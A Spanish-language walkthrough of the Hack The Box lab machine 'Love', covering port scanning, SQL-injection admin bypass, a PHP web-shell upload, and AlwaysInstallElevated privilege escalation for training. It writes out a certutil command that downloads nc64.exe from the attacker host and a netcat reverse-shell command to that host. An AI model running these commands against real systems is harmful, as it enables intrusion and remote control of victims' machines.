Keywords: Port enumeration, file upload, SQL injection, privilege escalation, windows system.
Palabras Calve: Enumeración de puertos, subida de archivos, Inyección SQL, escalada de privilegios, sistema windows.
Se procederá a realizar el reconocimiento de la máquina Love mediante la herramienta nmap para poder descubrir que puertos se encuentran abiertos y posteriormente saber que servicios se encuentras expuestos en cada uno de ellos.
> sudo nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.10.239 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 08:25 CET
Initiating SYN Stealth Scan at 08:25
Scanning 10.10.10.239 [65535 ports]
Completed SYN Stealth Scan at 08:25, 18.05s elapsed (65535 total ports)
Nmap scan report for 10.10.10.239
Host is up, received user-set (0.037s latency).
Scanned at 2024-01-12 08:25:01 CET for 18s
Not shown: 63330 closed tcp ports (reset), 2186 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3306/tcp open mysql syn-ack ttl 127
5000/tcp open upnp syn-ack ttl 127
5040/tcp open unknown syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
5986/tcp open wsmans syn-ack ttl 127
7680/tcp open pando-pub syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
Raw packets sent: 76917 (3.384MB) | Rcvd: 63349 (2.534MB)
| Parámetros Nmap | |
|---|---|
| -p- | Escanea todos los 65535 puertos |
| –open | Solo muestra los puertos abiertos |
| -sS | Escaneo TCP SYN |
| –min-rate | Envío mínimo de paquetes |
| -vvv | Muestra la información del escaneo mientras está ejecutándose |
| -n | No realiza resolución DNS |
| -Pn | No realiza Host Discovery |
| -oG | Exporta el output en un archivo con formato grepeable |
Teniendo el archivo grepeable allPorts creado anteriormente, se hace uso de una función personalizada en la .zshrc, la cual imprime en pantalla los puertos abiertos del anterior escanéo y los copia la clipboard para mayor practicidad al momento de generar la segunda consulta con nmap.
> extractPorts allPorts
[+] Extracting Information....
[+] IP Address: 10.10.10.239
[+] Open Ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,
49666,49667,49668,49669,49670
[+] Ports copied to clipboard
Con los puertos en la clipboard, se procede a pegarlos junto al parámetro -p, con el objetivo de enumerar los servicios que se encuentran expuestos en cada uno de ellos con su correspondiente versión.
> nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,
49670 10.10.10.239 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 08:30 CET
Nmap scan report for 10.10.10.239
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| SMBProgNeg:
|_ Host '10.10.14.42' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=1/12%Time=65A0EA8F%P=x86_64-pc-linux-gnu%r
SF:(SMBProgNeg,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.42'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
| Parámetros Nmap | |
|---|---|
| -sC | Conjunto de Scripts básicos de reconocimiento |
| -sV | Verificación de las versiones de los servicios expuestos |
| -oN | Guarda el output en un archivo |
Dentro de todos los puertos observados, se priorizará los que tengan de servicio HTTP.
En el puerto 80 se encuentra expuesta la siguiente página web.
Para tener una idea de que directorios pueden ser de interés, con nmap mediante el parámetro - -script, se utilizará un corto diccionario de los directorios más comunes permitiendo realizar fuzzing muy rápido, descubriendo que existe un directorio admin.
> sudo nmap --script http-enum -p80 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up (0.041s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/: Possible admin folder
| /admin/index.php: Possible admin folder
| /Admin/: Possible admin folder
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
| /includes/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
Una de las diferencias que podemos destacar entre la página principal y la /admin es en el input de usuario, en la principal pide un id, mientras que en esta pide username, pero no obtenemos nada con eso.
Por lo que en searchsploit, se procede a buscar por la web app que en este caso es Voting System, para averigurar de la existencia de posibles vulnerabilidades que se puedan aprovechar. Y tal es el caso, que existen dos vulnerabilidades principales, una que permite iniciar sesión como administrador y otra que permite la ejecución remota de comandos.
Conociendo que por medio de inyección SQL se puede acceder como administrador, se procede a capturar la petición de inicio de sesión del administrador usando burpsuite.
En texto de la vulnerabilidad encontrada, se copia la siguiente linea para luego pegarla en la petición anteriormente capturada con el burpsuite.
Ya teniendo el payload pegado en la petición, se la envia dando click en Forward hasta que quede vacío la sección de peticiones del burpsuite como se observa en las figuras a continuación
Se logra con éxito iniciar como administrador de la aplicación web \textbf{Voting System}, por lo que ahora se procederá a buscar la manera de obtener una ejecución remota de comandos.
Para la segunda vulnerabilidad encontrada con searchsploit, se procede a descargar el txt, para leer como se puede emplear la subida de archivos y obtener capacidad de ejecución remota de comandos (RCE). Se va a revisar la dirección /admin/candidates_add.php a razón que es donde se puede explotar esta vulnerabilidad.
En la página candidates.php, se observa que se puede agregar nuevos candidatos, donde la posición es un valor requerido pero como es validado a nivel de cliente solo con eliminar el required desde las herramientas de desarrollo se logra la posibilidad de enviar la petición.
Se creará el archivo malicioso que se va a subir a la página de candidates.php, donde se procede a cargar el siguiente payload en el archivo que se guardará con el nombre de shell.php.
Dentro del formulario, en vez de subir una foto, se va a subir el archivo que se acabó de crear para que con el parámetro cmd se logre ejecutar comandos.
Para dirigirse al archivo que se acabo de subir, en la herramientas de desarrollo en el tab de Network aparecerá los recursos que carga la página, por ende se procede a recargar, observando que shell.php aparece y al darle doble click se abre el archivo en una nueva tab en el navegador.
En la nueva tab, añadimos como query el parámetro cmd con el comando que se desee ejecutar, en este caso se prueba con un whoami.
Ahora para tener una consola interactiva como el usuario Phoebe, se necesita de netcat para windows. En nuestra máquina se descarga el nc64.exe.
Para pasar el archivo, en la máquina atacante se tendrá que crear un servidor http usando python3 para que medio de certutil.exe descargarlo en la máquina víctima.
En el navegador, donde podemos ejecutar comandos, se procede a utilizar certutil.exe como se muestra a continuación:
certutil -urlcache -split -f http://10.10.14.42/nc64.exe nc64.exe
| Parámetros Certutil | |
|---|---|
| -urlcache | Indica que se realizar una operación relacionada con el caché de URL |
| -split | Se debe dividir el archivo en partes más pequeñas al descargarlo |
| -f | Fuerza la descarga incluso si el archivo ya existe localmente. |
Se confirma el envío del archivo ejecutando el comando dir.
Para poder obtener la reverse shell, primero se tiene que poner en escucha por el puerto 443 en la máquina atacante.
Ahora se ejecuta el nc64.exe en el navegador.
.\nc64.exe -e cmd 10.10.14.42 443
Se obtiene la shell como el usuario Phoebe, por ende se captura la primera flag.
Para poder escalar de privilegios en una máquina Windows, se requiere enumerar el sistema. Para ello se puede hacer uso de la herramienta winPEAS, creado por carlospolop, el mismo creador de HackTricks, linPEAS entre otras buenas herramientas de enumeración de sistemas. Para poder descargarlo hay que dirigirse al repositorio en github llamado PEASS-ng.
Teniendo el archivo descargado en la máquina local, se procede a usar nuevamente certutil.exe para pasar el winPEASx64.exe a la máquina víctima.
Se ejecuta el winPEAS y se guarda el resultado de la enumeración en un archivo, esto es posible usando el parámetro log que el nombre predeterminado es out.txt, en este caso el archivo log lo vamos a llamar winPEAS_Result para ser más descriptivo.
Cuando termina el análisis se procede a enviar el resultado a la máquina atacante para poderlo leer.
Ya con el reporte del winPEAS en la máquina atacante, se procede a leerlo para poder observar vías para una posible escalada de privilegios.
Dentro de toda la información que aporta este reporte, se observa una vulnerabilidad importante AlwaysInstallElevated está seteada a 1.
Esta herramienta brinda un link a la página HackTricks de forma que se puede leer el como explotar esta vulnerabilidad.
Conociendo como funciona esta vulnerabilidad, se va a crear el payload usando la herramienta msfvenom. El payload a cargar será de windows y que brindará una reverse shell por el puerto tcp 8182. El arcivo será formato msi y le llamaremos priviesc.msi
Nuevamenta se va hacer uso de certutil.exe para pasar el archivo .msi infectado a la máquina víctima, para luego ejecutarlo y de esta manera obtener una consola interactiva como un usuario con privilegios.
En Hacktricks, se puede leer como se tiene que ejecutar el archivo .msi que se creó con msfvenom.
Estando en escucha en el puerto 8182 en la máquina atacante, se ejecuta el archivo malicioso en la máquina víctima, obteniendo la shell como el usuario nt authority system, es decir que somos root en windows, capturando la última flag y completando esta máquina.